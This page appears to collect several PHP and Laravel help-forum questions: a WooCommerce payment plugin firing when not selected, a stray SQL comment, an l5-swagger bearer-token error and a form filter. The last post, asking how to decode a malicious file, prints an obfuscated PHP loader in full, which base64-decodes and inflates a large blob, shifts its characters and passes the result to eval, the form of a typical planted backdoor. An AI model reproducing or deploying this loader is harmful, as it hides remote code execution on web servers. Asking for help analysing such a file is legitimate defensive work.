Woocommerce custom payment plugin is being called even when not selected

I wrote the following plugin for Tron crypto payments in Woocommerce.

https://github.com/aralsoft/mrblockpay-woocommerce-plugin

However the plugin code is executed whichever payment method is selected. Even when the plugin is deactivated in Woocommerce settings. The only time it is not executed during checkout is when the plugin itself is inactivated. There are no server PHP errors, no errors in Woocommerce logs and no console errors. I tried using the default theme with all plugins except Woocommerce inactive. Any ideas ?

I choose a different payment method and my plugin code is still being executed.

Commenting out PHP code all of a sudden behaves differently [closed]

I have this function in Laravel

public function handle()
    {
       // Run Athena query and fetch CSV file
       $start = time();

       $csv = AthenaService::runQueryCSV('SELECT
       date,
       datetime
       FROM
       (
        SELECT
            cl.date,
            /*CASE
                WHEN cl.list_id = 4000001
                AND cl.date_inserted != ''
                /*OR cl.list_id = 4000001
                AND cl.date_inserted IS NOT NULL
                THEN SUBSTR(cl.date_inserted, 2, 16)
                ELSE SUBSTR(cl.entry_date, 2, 16)
            END AS datetime,*/
            cl.datetime,
            mc.weekend_flag,

On line 16 I committed a typo, the /* before the OR and when I look at the output on VSCode the rest of the code in the script is also commented out. But when I run the script it still works. My questions
a. I committed this error way back in 2021 and only recently noticed that all the code following this in line 16 is commented out. Did something change after the 3rd of Feb 2021 in terms of how VScode deals with commenting out code?
b. Why does the query in the script still complete even though most of it shows as commented out in VScode? Well it looks like it completes and I even executed the query in AWS Athena and it only shows lines 13 to 20 commented out and it completes

Using Bearer token in l5 swagger laravel has a.forEach error

I’ve using l5-swagger in Laravel and I need sanctum authorization with bearer token
But when I set bearer token and try an API that used this token, the swagger return this error:

“darkaonline/l5-swagger”: “^8.5”,
“zircote/swagger-php”: “^4.8”

TypeError: P.forEach is not a function
    at applySecurities (build-request.js:106:12)
    at buildRequest (build-request.js:16:9)
    at Object.execute_buildRequest [as buildRequest] (index.js:249:11)
    at actions.js:454:24
    at index.js:174:16
    at redux.mjs:331:12
    at wrap-actions.js:33:10
    at Object.newAction (system.js:175:26)
    at Object.executeRequest (system.js:487:17)
    at actions.js:501:22
(anonymous) @ system.js:490
(anonymous) @ actions.js:501
(anonymous) @ index.js:174
(anonymous) @ redux.mjs:331
(anonymous) @ wrap-actions.js:9
newAction @ system.js:175
(anonymous) @ system.js:487
handleValidationResultPass @ execute.jsx:66
handleValidationResult @ execute.jsx:80
onClick @ execute.jsx:90
....

This is my l5-swagger config

'securityDefinitions' => [
            'securitySchemes' => [
                /*
                 * Examples of Security schemes
                */
                'sanctum' => [ // Unique name of security
                    'securityDefinition' => "Bearer",
                    'type' => 'apiKey', // Valid values are "basic", "apiKey" or "oauth2".
                    'description' => 'Enter token in format (Bearer <token>)',
                    'name' => 'Authorization', // The name of the header or query parameter to be used.
                    'in' => 'header', // The location of the API key. Valid values are "query" or "header".
                ],

            ],
            'security' => [
                /*
                 * Examples of Securities
                */
                [
                    'sanctum' => []
                    /*
                    'oauth2_security_example' => [
                        'read',
                        'write'
                    ],

                    'passport' => []
                    */
                ],
            ],
        ],

This is OA annotation that I’ve used in my controller:

/**
     * @OAPost(
     *     path="/manager/user/add",
     *     tags={"Manager"},
     *     security={"sanctum": {}},
     *     @OAResponse(response="200", description="An example resource",@OAJsonContent()),
     *     @OAResponse(response="401", description="unAutosize",@OAJsonContent()),
     *     @OARequestBody(
     *     required=true,
     *     @OAJsonContent(
     *     required={"name", "email","password"},
     *      @OAProperty(
     *          property="name",
     *          type="string",
     *          ),
     *      @OAProperty(
     *          property="email",
     *          type="string",
     *          ),
     *      @OAProperty(
     *          property="password",
     *          type="string"
     *          )
     *      )))
     * )
     */



Handling request from a form with multiple inputs

I’m trying to make a simple filter for my e commerce website. When you click on an input tag of a form, it will send a request to server side to handle the logic. However, I’m still stuck how to get the value of the clicked input among other input fields through request. I’m using laravel as my back-end language

Here is my blade file:

<form id="product-filter" method="GET" class="w-1/5 flex flex-col gap-3">
        <div id="cate_selector" class="shadow-lg bg-slate-200 rounded-xl w-full h-fit px-2 pb-2 flex flex-col gap-2 items-center">
            <p class="uppercase font-bold text-xl mt-2">Danh mục</p>
            <div class="bg-white w-fit px-2 rounded-full">
                <input class="text-sm p-1 bg-transparent focus:outline-none" type="text" placeholder="Tìm kiếm danh mục">
                <i class="fa-solid text-sm fa-magnifying-glass"></i>
            </div>
            <input value="All" name="applied_filter" type="submit" class="filter-button flex justify-between capitalize text-slate-600 font-semibold text-start gap-1 w-full mx-2 p-1 rounded-lg hover:bg-slate-300 transition-colors">
            @foreach($categories as $category)
                <input value="{{$category->name}}" name="applied_filter" type="submit" class="filter-button flex justify-between capitalize text-slate-600 font-semibold text-start gap-1 w-full mx-2 p-1 rounded-lg hover:bg-slate-300 transition-colors">
            @endforeach
        </div>
        <div id="price_filter" class="shadow-lg bg-slate-200 rounded-xl w-full h-fit px-2 pb-2 flex flex-col items-center">
            Price Filter
            <div>
                <div id="slider" class="w-40"></div>
                <p id="minPrice">Min Price: $<span></span></p>
                <p id="maxPrice">Max Price: $<span></span></p>
            </div>
            <button type="submit">Apply</button>
        </div>
</form>

And the logic method in server side:

public function filterProduct(Request $request)
    {   
        $category = $request->input('applied_filter');

        $choosen_cart = ProductCategory::select('id')->where('name', $category)->first();
        $products = Product::where('category_id', $choosen_cart)->paginate(8);

        return view('product_gallery', compact('products'))->with('cate', $category);

    }

I was trying to access the clicked input’s value using $category = $request->input('applied_filter'); but it seems to return null value.

how to decrypt this php file

how to decrypt this ? anyone can help me to decrypt this malicious file ?

<?php function debBe($YgoM)

{ 
$YgoM=gzinflate(base64_decode($YgoM));
 for($i=0;$i<strlen($YgoM);$i++)
 {
$YgoM[$i] = chr(ord($YgoM[$i])-1);
 }
 return $YgoM;
 }eval(debBe("5b17f9pG0zD8f/wpZJWrggZjwHaagsF2HDtxDnbqQ5LGzkMFCFAtEJWEsZv6sz8zswft6oBx2uu+n/f35rpqYHd2dvY0OzszO2sY8G9lpWDPolFnaoeh0TKsjY2tZ/Xn3drW5rNnz55vbFZ//qX7bNOpb2z93Kv2Bl2ruVLo+Z4fALD5Q3+wZUJC3xnYMy/q2L3I9SeI5tD1nPC9PbGU3FnodOw/7FvIj4KZo+T0RnYQOhEW/ORO+v48XKvVt2pQeMUdFFed8TS6KxY6ZwenHw9OL63X5+cfOhfwq7P36uD43PpaKhnfVrA1Bagj2Bs6kwgbYweBfVc0X/n+0HPMsmGeebNgil/enx2/8CP85todO+iN3BsnwJ+/2ZO+c4vfTu1x14PEUpMwAx3TwBl2xnbUGxWtdcuoGO546vl9p2j9bZXVqkuQZ627mLgEzfhv5Nh9JygS1HqtUjU2q5vGsR8Zh/5s0rc4DfjPuXUj9ut+5X5lZdeduB3ouqLlBIEfdDx/aJWPL969gyJxHqR2KD+0ylUtZ2zfdpxbpzfDgetE7tjhEJBLPzueO3ajokwb20O31/lz5kdO2AlmE4RhuTCY7gQ649PZSQeafHZ0cgw9YNUrW5UatgCHcpjEMJz2itQTTwazCZs9UD6MAncaenY4csJigYaRYJ4ETjQLJoYbdtjYirwdNtaAe0oEqAhwGDhYw8jC3Fx5cr/ypND5cHJ2DrMmVT9l8CEodPZPTt4eHWTCsSyAhIGRzZmH/jt/6E6K1IK+6xTNbZhJhu25w0mrB/PFCdrbAz8YG2MnGvn91tQPo/YHWI9zP+g3jG13Mp1FRnQ3dVpTnmpM7DH71Vazw1kXBsu4sb2Z07Labau9vY6Y4QOqbJsJ0rAFTtTz/WugqnAN/XQjFxJvzGXh+iu0tXDDmp8CJ4TKGpW8RE5vyHRDnGusHy8tzIXpb/z4o1Ec97dS6S2oTkEjZ75GLSuoLa7XgAXKl9XSMOsYDUZxVVDBG5aPAWj4+29jKUhjNYfYeNRFD8FciYBvzmGZwzDBr+KH1x86J2flanmjRK025+7ELMFM9IkTwy9ggI4XOjJp4t4iTyyE9sDpjIH1QCKt5SGuZZmKqw3HJIZjhDEWEThTP4jcyZCWLTBhN7SB03XEtAg1pKlcRF4Y+cAZevM+ggIYfCuyOvWh7iGbW3my2xv13UBLxV0kozi1k7ed1otaE/QZEu/ZPVhDV1fIpNfhjwTBhVxYDMqg7qkq+H4JcJ4zoe+ltRoNJ7D2EsdToV98E1p6+iDzx22O2q6tpWXKAPHFru97pdS2yejQegjoBDZih0682wGTNN+5YWS8dAOnF/nBnWm02oYJA2CWiZwn5iHssYaLG11lOprCN6M3CwLgRAZCCXBjPTTW58Z6NwbVMfzU8ycDd/jTckhUaInnbOTPDZQabhwD8icOm2Os+MSJwsiOjDV7oheAbWcC8xe4UXDj9pwYHMbdDiIJfAEAgL0He2ikAOFGrSPs+WPgoU6gAN24zhyAoDf3Tj8Y57gGWKYdTIEilnX0wdinVs0CGwlnEO6UNdVYtz3PXHlSkqs4NVhAAR8u2WleaKx5I16Bh1kDkKUMO4K9pgtEhgZwbtt4505mt9ADUFUfhILIgTHqM9DwLoycscCGBY21G5taDChDbLA/dSYAjowg3dnG38YQFo+x5hpYvyN6H/+Z08CHHg+xp6MZLzsNDXt2yyjGmcFSRYUDnCvQE0Y4c3kWJa0ba7hpGQNjberA7rdW3axWq9D4UCuJpTJnF+VWlkNC1Q8fqL6eWT2Uom4NH0NEJio2KyrupEdrIJMU3NeTgGkcPy0ofGVymCszq+RSrViICPtyHrgRLglj4HsguML4T3gv6ZSx7qhnjkc+joU0LkLJGUJlOu8v6CEVShvqOP0RI74QJRJVGUUkti0iKYZRS8vUx5KTjY6I6YKw2hnBspY7QzZBGpxGlJrzaMJy0RJxA5AFRmPb9YLeItpUMI00JePRlOlIkS37PTtydF7mUZoxiqJpv4LLg3PZVDLj3iz5ZgQCfZgGV9NVeGCxg0z8WoZWIrzrArNIF1DSVfjxXRpWpKlwdn/sTgSzSieqoL3BMOZqiTQNDupIA4rEJCRwwb4dpWB5cgZ0FmZ3mIcbOGwWNCZnQ+fhj1l1mn4mxuWVVLPTpX/KKKKBsTGLB8eiBEuHkexQAkFKAib800vAQEoCRmdkElAkJ6DTnEaWULMSpcZ3UG9OMS0vUS7FOmQpJUcv07V71zN9UHiSCtWfjXUYStDXq3uTWKeQQHKfpgZ4zZQ8dK4BSV5otfihiKnA2IHpSSoVz+Cv3p282Ht3dmkl1GbWVzj4DD2/a3sG083Bb6c38g1zexSNvfY2qpfa22MnsolHrTl/ztyblgWyK0h30do5MEILZxf+alkRiJPrWLBp8BpaJvDLNE0Vw7Ta25EbeU6bQWScbRDKWMPTu4EwinbIqJjb66z0ynYY3eFn1+/ffcNRGAao+Vqj5jR+2NzcbPKvTg3/17wn0HLUL0ejbyBCTKKG8cs0Mt7Nem7fLn90gr49sZtjO4BTeKPavHHgzNuzvTXSuzQif5pAaNyvkDgCa3ngfzN45mAwaKbJqdfrCB9O7Ul5VCvbApx3v7HqjlG0tieRAGMkrs0ddzgCSrsk8mDmqPYNfgXwa81zBlFjawpSve+B0MmHcmr3+3DYaRh1yIHcJmtrbRMaK1qZTaFoO5SBivruTYUP8TdDIkWEDE5Wn4FtY2MDUUA7cW6s9eHUwQ48jYk/cSirMfKhi9MAgMUJPJdBVcaebG6jJltKwytIiimCUUOcA8+fN+CAEfmEousO7cABUuZuPxo1atXqf5oj1q0bVd5WUomVkRQELYeOBwfLb4ZEu3Bwt7a2mikS+WAoE+29P/FhZHtOGdbRLHDhqHnszC2sHlVucW2MpB8iONSH512PdxGbhkz9R+2i/KPJVDTMoNZQp9kgxcAsV8rhWGWR7uD/mrJMwEclDxIAYUAylxtm1b9lToX7lWngfKP5PLDHrnfX4B1Qln0CJGyv8yW9HfYCdxq16Qx5YwdGr4O6LGQGyGTCqdNzbY+4SjHmcT3YT0gvYlpNWdLOL7kr2JNNxUwrro7xqyWKxjwYEcTVTmuycBH1eFNfKTStWV/L5tXELK22WgMbDvqlHctqpJumwh8cn3d+vTg5PzgrJeuqL6qr/si66ovr2lhU18Yj69pYWBdq5fp+bzaGGd9UtP2oVLPLvfK0Vp7Wy9ONMh8Epu+HbdJebU1mnlfqV8aDil1hum27iRoVQ0/rNFmJnlqix3N7SgmZJkpMa2qRaY3nT2tKISVVFqtrxeoCoK4Wi1NlsQ2t2IYA2FCLxamyWaxjtMaxJNEc9kttaFZ+h9k75AgMF/R/7uggTVQFMzkUSwmk9vcipXlpB/aYFN6o92yhsdDCPOCrRbdVbbrbVDVwdZxNYcVzJsNo1HSfPkXZ6Qkv/hTK/2g91UAv3a8VPO49tVrWU2fS8/vOxenRvg/b9QTyiylg6jkiLAyKtFJgm4otPkLeOT349eLg7LwDyDj3KPNWJDsG0MwCT+byWW4U52T3rHx+/+41SGinIKE5YUTNCZw/oSsmztzQM6nPn9BgKwj2SJn6+aT7B2x5ifJaXtF67/YCP4QjJdUKEptqZ0SUUFI1UuI/SKr4E9hU+3eoAQQp054M0QzB9YJA2z4lNdPFps6kaCGzgM6hPsCBLaUBYSrwJjKJ2SjqkmoZ5sV06oE0hz26frs2n8/XcM9dm6E2HwdVM5nGeCf9ohwVkXOvj0+yHUXJiKg/KtT0M2w6quE3Swb1MWRTDaQUxYx6tcoKshkdOEM+BqfO8OB2Wrwyi1fwr/+0VLzEL2f4J/z6UwltFdbYorFlZe0gaEH5CpppOQkhTNfQOQd5gMM5ME+LAHhZ/1rh1qVqGUte1uBAQTD3Bk0V2wNBuGjxDmYmoVWLzVLYsvlWzU8MKGK3t0FyNGgvb1mwQ7gk1tldkItmkdNUpLBssR0kbZC4SLisNi1AnTR1MlvmeCDq6Lvh1LPvmGiJBRQD58jt950JK2HnZ/Xys6a1BXn1BXkbC6pj/AsAmLXVREPUIHCcM5SF0MgFbbrGBBKOUlIOgkd+ZHsafIeSOksWUX7tKN8bNYQMgKXZIWGejqadGVJdtAIa9sK1E0wcL5EXsjznFtbZ5BpZMR4cG+vrmOK7IOJ34TQxXg8d9J5Y32GeHy3288eB64FY2+k7bD5hDjJwZgVFKcMi8wVa5lntJQOEDINJGXj8FfVWWoZc07yQ8ZbRiw4YfKqL9pWr5Wc025m5JQeNaHAFUGQj2SAkaPQTbKHj3LphBHTjArhFy6gzdIHJsDVOrh/cltnh6kY02wWMRRfQgsFyx3fwnacOldRhnAoLaIq+NTs4i/ii/aZgkRRM54grJogwa6hl3jAYaqDDGJSTjtgvLRx70iaI2lgy/OGpgjqsQQNnNbLkIQe/X2F21A6OAW3nOAkKUzsawQ+aSDAczDCbMb0nLTLcFakApuD2X8D93yi424XJWg2/wJ7PuieuCEbb3LaNUeAMWtYPluFPerBZXLesIbBd4ZgEfPbKNIVUUfiD0P6x3Sq4+MklCR0pEXJZ+ONrhazCqTqvzJLVNiscDIQHc3173SZuwLqCsYnY/GddnB+uPcf9TPN6gt9vT46er53Kbxf4rTd9/uwZW5b+VCp/ZL9CMxy7NyrG1dgh9E/kjGlFaUXQsL3t08LkziKmVSHYCsg4ViWtlWq1KHvHYmdp2GAbllWqWG1ZbnudIWyjwfxJYRy38szpVYyjycC3Wm38QV/LzEUMk6SvGJ6kJ7CvOJgqvpatsz89KgkfZevDaIo/8ANyogDtwHR0JhD6fU4/y9aLADYo6JYe4VN+la1jJ5r7wTWmi69iyXO1nJyQ0rtDqObGl9Y7f+jPmFZOfMdhgZwzxxvAbj+GYzfLxoRT9ptAnMksNWJjGqprVCEWblgdCEajBGuFtlgcoaI7iUpF2GvX+coYl2AI/mO2Lw0x380fTDnfTZjvFozPTcW6ssp4aihf4Tf5p2Ti8F3j2Nlt4+v2ejTio9cPQFDEqUVLBN0OZH/4ITZM9dGQDQlIYLJ60MF/QRY2ihCVmADlhh1yA6G0itW4AgrYMuPVUYPzGiIXLtIOZAss69SOSyNOwpZAeywmeZMiFPqRTI09kNzDFmr4jJ7jeVzn1NqgX7jT4q8q73EUatrbUQD/9UVSexu1ee0LZH2N7W7QRh8D+gIzkj5f9/v0uT/vN3B7yeu6HQuhXlLLG7SacEcCEQzxw1D025aQUTEdfm9PfCihbFnKhl0qGyDw1epVwhJPB4SOt0E860d2AFtAq9P17Ml1+1Lfz6nnttepom1eGW0FiLRosJ+4Y+DvksE64xVuCg1OOYMZ6kXYtkFlBFak/cYJQuAYRU4zlT+zB46BLksaQqUTYy+nr9CFqIViyleQkfvtk2MUwSZRGzpUzRuC7AW92m2fHB5ur3fbAqqkdLHstB/0iQcDm1g+OH/4rINW0GxiU4414SUcDtAtUmtBHxKL1m9r47W+8brhNkI+3rw75qH/0XXmZ+5fIKDE4pvaM4fQBg2lVkaKm6xI0YJOQ3ZhKFnrCuafalU2V/4jh0TdzlA2oho+OME43MdOzFLO5XaavloRuSws3LXINKDxI8GULg2EYX0qiRM8AtdIenGI9cndKgPUB/MFs822LKSPTnRIII1m1p9o5Ib80G+2cYtkU9ezu47XMj/YcNble6LJyNL3VYNtg1QIJhmrmdrAZ7cTwKQ3jj6IgZTLQeoSTPbZ2Xv58tT8KuYIK77vuWjJThdXNRHvT84PqDTrYLGasdPgD31DXpjoQWKP7ARmcnsEntzqsZIejQDmY9gmEcZ2Mhq0uGrlSGlyNfmWiVtPwnH20PcjYTErwPYhXUZahvIrNTF3TENd/Batfqtd/AQFHCxR4uvfbOiQyEKK6HYtUEtApi9gRjU45gH9cNpL7SluvyXU/Et2lCFOvfl9znO6fhT542QmnI+fYF/DNkpbBB2uQXIirRxKvPGs5lpPEHtBUG1yT2o6cgEWPr+YNgd2aXWC8WMva6cl7BQWOwejUYKfgoXf8ZKafbQdLue7DA3Lbt8VLGXGarjMF7d2IFR3WkOvTN7SU8dmXjXf0dDBo+hmEz93iOImkARMDbDG1zAEFmtIf3FD3tvX2oCpy+QRber/D4wFtgu73FrYFnVQvrMx//4AycNIajnlteWALlU4/2Qdfff64Mo1VFZElnFwvH/+24eDljWeeZE7tYOIyq2BRGJbVDBPwSYqY9Nzb7IQWlv+idVOi31B2WlNFJ6BNGr3scLFlfELQ0qVSddzacvbSSVxYZvTxAR6qvf7Jx853j5q8nUDw9CnoNgcaXcBKZWUr+SIgfsP3SIw0iopU1cImexiBdezKT4jKT/+r2XD0stapZYw9Qm9f6wX19VOhSlAaDP/Hu3uiwkkNdR3EkhllyKQKbuyCdSki4PbYsGdMOECjvDiWI6NSOn9UPku1H27pImHomUsxtRorPzuH747KaLRVGYxDV4mTlQqRKNgJvD63Q75rzNN4K7IJiKVSgCM9IyeY0+KD1TBXMFzKmCZ/wj9CMSajto3HEmcIdDHWGBZBU7ozwJUaw+YnhJNQ9ihZmCWdExMRzcfwfoqru4OHH8AhbjaACEqLWOANhlILdeq9U1qyrTn+SFi59Y3Pg+wQErGjI9QYXxliah0UcWiXuopoEYknAaQMSia/5mh4lKYkpiWJDTaLaNW/Xnj583acyAmvrImiln/qVXqA9R8h8a6AmqU8DT16oXF1dcKts3nWz8/WwIVwRnsWPY+C9FSBCEphOKtRBEXKrCj4Yu0qE7nRLbq2BKC78aPRvV2v4oHzVZLfC24uNDCmLwYdC8G3YtBvSzQ5zHo8xh0LQv0WQz6LAbtZoFuxqCbMWg/C7Qeg9Zj0F4WaC0GrcWgUwFqsN8z0g+6OKFlySod0ncMK7CMBjavlAFTfc5g5otgNgkmTnjOEYdU6BaVOY2M7DOBMxNpfQniaksQV32uE7e5mLjNpYirbj5MXLW+BHE1nbg6rz3KJk5kn6vEidXjZi8brl4ZyLWzuktM0u6z4y3jdxyJptf64fAQKKwKFRJbhLsojEzZehyUuFqR6buU2Ul1xEfo/DqA90bOY2vIo7e+NRg8it5Ef5317AlTIruBcsM0JXOEDM7UblkLzqfi4HephZ1Nsvr+yMDNEDamBCjd7sTtCPZDlCvIcgmEQwpdJGgZOHCs0Kik7B6Elm4lXJI7ryjRTNLHgJRL3moHfBq5aDJgfFbY0pgwY80xj2lcpwlzBtnQlBGmhHhmMglJq4tZdLm5hqlgFB/mplSsj2pCqxXCiQfm052BupBgTN4ZIL/WmLqHyc3cA5XmiTauTu8DemYUCxNxDRk2+BsKFeBC6k2Je0GJPFE9ierU5AlOnIbBpXcy0CkW58JN2SBvNmDEiqWZ44GahDKWyvEpLGvBC9usAWOvxqpjJeheNZW5Z1Y+tS2W6Bh/EM3tAD1X0NzrTG4gi2n5zk4Ozz/tnR4Qn8iZzJY9tXsjh8Sysd+fodlMv2oc1/gOTjFO39ijEoaALsehCkCmLhtphMUSMSoN10smkfeND68/GIdSLFettRlC+87C3IaFbh1Wqq4TWGhGF30USPOhXEDGJdjBHMxIEyntBQZKm6nS0lpAwmjnIRzupOfN+s4CNBwiB1Pv4vSdEc6m6P0NCFIjCQvE63Czh1XasYABYA9b2C1s+wGJfNpihlO+hFNI2DUIJqSjPriD642Z0qg4sRfz/d3Zn55RNCuZ4MVSxSyZeRWEWILfx00jPjv79V1e0ekwt9wHP4SzmbOgsN9zc0ufBDYcSczU0LG+hkmK6gycJunZTlhKCstiyzzPromX7JNub1qdp3xjNtadqLfO777gbFH2bEvNK+2Yd05oLPZJIK0Zen9dmVSWfWUYyLPgEq8kk03EFNNlSRLDkd3359kk8rx/QCLD8GgST84MsRCAMNzy2BxlGwTMhnV0xVuXi2URLuBUUUDqlzxcSK4bhjOnMnGiFDIKlpBlYUzOAxljZjDzYgeHYQ9N3h79ZV9hPlhj+xpdDabkqQDiDXovTO+iETbYCmbdO/iA0zj8Hf7lIkw3/qjD54Qw0Y0i+ILXoAlJgnQmrKDaPogJurZvEIHf30BE3X7PDxwkaXaDsg9iI4B+MHe6mA5b2xg/g+vRDC8kYNLoOvD96NoFPma5U5ISQ/o6mCPhgTuduwFRNnIdr0/tpvvk0OMBti2cEBOEhQWCATbF7Yd2f4yFe7g8hwhz6/aplUPYj3rX7OscQ+xg5l04tkNM/GvcBcKnRPh87HrYlXMQMXhrJu7kDzu7Y/z5BBV7eL1Y9s4c5gaUonthWOPd5JbIm1xjA5FF45gQjDefro1d9JHMQq+xk1TdOidPZnOfCZAcxXSK3XWMjH8wRWPpj8Cy4WTVTMhEyHTl2uK5YPUn2abkmt/dMD4r/7fa9ZKq/y80S5lT/2tti2lYuoFytq5nTVcN/euXLw3yOwWM/GzRHxhrIysLr14SrzQvYsJ059l6gD4m1esqZxBlcFcz1V23JKwrXHOesNxYqqHf3DKZ4YY8wPllDiWlnm3PsYQHUPsw8MfMih7p1rLYdMNQc21/VbW5cxzn/jIY6hwDaosyDPe59gWz3TaFfSFjiJlaE80m+gUhQ73CQ9p5EBMms7ETuD0NMjdvIxHOLDWxuSI3Kx/dL5tqLcZ2S6NIy2TunrmLKNtHVmtDM7c09g9iyF+kcXsqLYN0/SC5l6lMBQ+X2bjvM1MXL8dMLh1KYTZdQK/kXnMdTspdH4Xcxdc2yFjsLKND7rHIOcaZE2G4qFDCY3wcEVYnqyDF3dkTAGop3OtYidgzj8xdFhPshcNHliriw2gq707rtj4RbUmZGUsGC5Nxl+RllKSVhG5WqHf3mK1ETGpxpa0Ck+2A3Rt6cXfUL6LX2MksgnVqlSrk4lHh9xpaltVcqpQLB6Hg9fn7dy1x76gnLh6lvCt0o02JVB1XwVV0dWVdVU1+jZImKFdpiMBXNJuYZoTPLQKhIINP7oVGQr+qzrsbmcGqnkP9U/oHg0ARyRJ6pnQAOcGKtBQ6u/GTMM36WD+F+gvMyVNG8cvnlanxjV9cAcbbvBc3WK30rOBuf9xnP6K5kDScxQyDsil6pIhJRmKGUdTWrLVaRJPv33bjav70b7rdbkR9+G9UNkY1+K8O7ar8dL86Dt0Lq5woyyCNb8XKT6UckG13PLz8P+2vT9vJ/FLZyKQoiaLilI3KDfw3wv+ovkLtPgllqXix9SV12sk+wKEBEXt7VLc4mFHh3EAo4u5XFE4JY3cgIlWiSmoNb3PkDimJAmxLHWi3jaR4YMLEou0f516Fzh9Ov/TN1l0+ma8H1CTEg3tkq9+GC6GYI2PzXhMlYGsWN9K5EwNqnBjZ/FI7OpAB1n3IaFuVYtbq2ll4sbjEvPJBUuA15QsLB/Ch++CR89nW9NZkWnzqdS36JPVR17/l7iEYypULKuzOwINh7iqcd+xYvLvFLQID7+bB7oDe/Htv9j4LJwnUu7I+YWxREAzVZfVN4u4YQ643Dl0YY0WuriTXuFiGxTx7L6COeogj6zseKo2X3veEc1hRNU8zkpUgldZAY71aOopEswlsvUAdWbq1Qor9Or8jwrmLcW+1HKaH76HSVvXbaZDiHLHt4rWHDsty+h08EgCGw6N3B2dU9aUFq77DbhGhFKrmsFRm6Od9bO7DaR9kCMK3arKbj12Y5NfNmBDmOqfScK3GnqS9IwNpD9BETh7SvuM5kWiZHB6W+hKxk3mF3/eUVhkR55N+l9dqpVYLg0saO8z60qC/4i4RXYPQbU7i3hP+4xYng50jE0YmQ70+J6h4IiBZNfxUybJwBhlF1JbS5QF2NqUQpJWKyaKfZmaa/Lor/kNO604wjDOvjsJptciFCr/ygmqVHKTFolFKTEo/akWkEQb+wfxFBY0Occ8+yNlD9AXP2g3GyT68F3NCRg+WsQ4G8aSQl3LiLDrlDxadO1CRPCABpFKxFh8fUt2GHjCzwMOQKX3hsvIkppRaMShlddZgcU8N9G5Kzmk4QUfKYo15AnAdLk31/OmdJSeUnPeY3KHixUKvXAjLBdg200T3Kug8IzKe8HXYr5DLDE8s4DrZlTO+p2XyOc+dhOSEH5USt0XjCYagq3yiYjRB+RsSYsgnWgOgSlyD5cIAWFCf/5JECLclbBXjX6xZsrcRF0vkxROTM55PKkNmM2olTY6E6gFLJJLSNyNVsrKGjS6bpYeNmPH/34Zt9784btA2xiHVQatkDFpFrsWF44bqfzlsGPAD5RRpHPviTvdYoHqrtFAHAmh4rIG4SPEhtQcUWmszNzxNNVRbWBcxNB7bWemDBZUpqtTMrn2gskcy2zTTXQJ5PGUS41parjLWlzDrD7OQlA2aDA8hUaZvqnuJlCU6ioiB/TKwI3qugYWf6M2CEGbEEU8Xn0UtVwaPltmFAS03g6RRchwVWY3G2dujD52XJ+dnpSVapivTJXl0A9a5a7UL7Jy1ZPvSHQ6YPdz18Z7/XYkiDNwtSdb9yj+DuF9moaT4+cNNY96sC0Dvc/SOD7Kc2eR/ien8Ax6ATVHZ1XesDFYejsgBdMW5/8hBecTALJ4V3z1saDbOa+fy/Dh5RlSe0HDQ3OqQFzecnukhk/SRMUNfjXreCGOuDf66IUc0HVFChScicEj7lZGqKaeqvLUUb+B43o2KD5EdqyctdIG2UA+MD5qUjDVj41m1WkqeB3nozUaGcWXB6Rn+abpQGkrF7lKTxCfgkKj43K6fVzIL9ND2pj+0kHEEuBeqtTyPPuSkxtie2EMnyNeasmBB01oHg5thpLKWaTZlECHyZ4Zh4rGbmJui8N9MvxOxo/xoZIwsLgUVm3Lg5YTv43XjiM7PBirkeGDxVaupali4lyXGXJRBU0M/QH03fcZ+AtyfpFZ6SEuUeBtoNewUL/fW/vr6tNQpXvW/1e5Lq4nRhl8EzC8yaPWynMsaANENbv67/pUpkXhgVxGpSYksZhdlOAYZJo1cSXMjpQHhSRAMeiaO6ZZQ+FlM5M2C5Yo8jO6XzK3K3GR0KXZxlt2CtfAarCWuVWHcSku7LWtVLe0urVWXQaTYfSuK860+ncOMrSOJf2N6q1+lk3pM6eKEfSdo6I2uu7dtCoaxjf8tEUmGBQcwQ9JldcxKkUYUhnCn2qihaRCdo44hj4VX+B7MITCAPMx4feX7MY/9vju4y8P9nnI17CfziROsU9SH76uRfL3zKkSfcOAO6C6q1brHXEjZbzSHm5y/hMKZOnbxYfGD4CePkxLzDS2OEIURaioxhPx5hvWYXBl8bLOKCAP8iGhLQUawJSpFcQBySjGrkMpqKP6LDltmPB61NdGIASSPljkF2KhSkXToCe6fMaa9LnVX00gRHJOBI0dIF4aGyMAhUeBEJgxEQkj66MVtisvSKLBu8OdCR7yjfG8sGCyJhUaFYRkGMZb4e2PB4DEkwhs9Pis+3InE6WP/fy5tOcEQI36Mp2UxFyKKxg3UWeyytAzzyOtj2r0l68P1sWx1iBiFIPrEFNTdsNqgwCWbg19LKYIyRLF/hR7pYo2vs8XemehVSH5SfNdWrxHsj2HEbNhdu3JnTpaEbYmeeaJ5yANksmshUdCD4so7XQX7MqM0PjGmAnWzgUo/pasGTldrrNVkByq1F7E2RtRXYxsaIH6gvWCtZjRADlmMEXpphqnsLkpYNkzWIfjqm8jB7tczdM4pBoTBsTyCQm/XqhqzihWTBzZpbo8CNAV6O2I39WrCxpd0etKtiebg8qsZByNTwvUNpDEIg5Ml9mjuS5UOQgNUUFGaTl9bLb6YdiwZnYZ5M8vIPrl1AohxZaFnM4+YlbbAxuANKytW1UAsngrZhU0W00iY8CCXlhwNtYX3xkyKit+yvsV59xa5cVgYxOiSyi8ig45WXzHSETMH23Ff5XWMHk1Izr5GDMsMywILpvNN5msqgzFqCpRHvxnLVeEWxQ16xMhcgYwKVIhYZtjRtEV9xaWVUV12WLHHTQWm9qUqT1nYp38ReeTPeiPCfY64c6fxv1qp03cjqvPgX2+P8JYl9C+pSdJHgfs1sliKyGGAb1QpYum9fMCCh1/r+XggmLR+xmgJy8WrsClexVLhKpaLVrOydDiKR0ej4Oh5pCrCiefEth6kkRnk2vvwV0ZbTECQ7QeE9hsnD4Lbstsv6VNCmfL62QIN4IrmvGgmMKMqsY2xtAN8IK4IP0t5RDC9Y/ti0ssG1+ItJcqi8kupBn5Whn+VMhoiD+yaAo08x3b5wSDHeyKzXmYwxYdZI8dYNwQFOTSL2F8/TrrhtPn9RJGf2wJzkfZSaVJFmGqSDFOiPyur+B8L32ML9oOOKQLXmb+N+53XbshcCSsUbyWPph3627DYwIhIK1o/8D5SKLCYb5KlR0qJPZ9FpBslQor5sOuMEg9Uuo6mY/qOnNt6F4NZAohEwBO1OCJ9p4dJkNXHwBboZX8vfSTTeAEWQHW0LC2JFZO6+MpmjDWfVDvsuW6aWErG4t8KAfqYqqdcEFffOdQWPO226ghTAa4VxG2hgLX08ZRChgvftUKQTw1VWU+1USbnU+Nxap4+LbglpEUJR1Gtf7bKftDnRJWkRz4J3bPpFIXuY